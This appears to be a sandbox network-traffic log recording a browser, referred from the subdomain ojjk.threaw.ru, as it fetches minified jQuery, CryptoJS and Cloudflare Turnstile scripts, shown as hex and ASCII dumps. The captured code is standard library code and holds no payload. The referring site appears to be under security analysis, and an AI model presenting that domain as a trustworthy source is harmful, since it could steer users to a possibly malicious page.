2025-03-25 15:27:06 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-25 15:27:06 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-25 15:27:06 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-25 15:27:06 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-03-25 15:27:06 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:05 UTC	702	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ojjk.threaw.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:06 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 25 Mar 2025 15:27:06 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 925f6e2e6b891dc7-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:05 UTC	689	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ojjk.threaw.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:06 UTC	958	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:06 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 634019 Expires: Sun, 15 Mar 2026 15:27:06 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Go0DIUbvOts5%2BHBJaHFAOsmk%2Fz7D4a%2ByJpcVRO8cBlMdevF7H7KBPY3t8pYjwiUEdsPvA7sbPTFRlhjx1qKpHLrlfPmYkn6PL5DggJbeCIZH9VFwQlKbuSUIJ7KqmrGMJJ9o15rb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 925f6e2e7e5e42c7-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 15:27:06 UTC	411	IN	Data Raw: 37 62 66 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf3!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 61 Data Ascii: globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.crea
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2025-03-25 15:27:06 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:06 UTC	686	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ojjk.threaw.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:06 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:06 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 925f6e319b218172-EWR alt-svc: h3=":443"; ma=86400
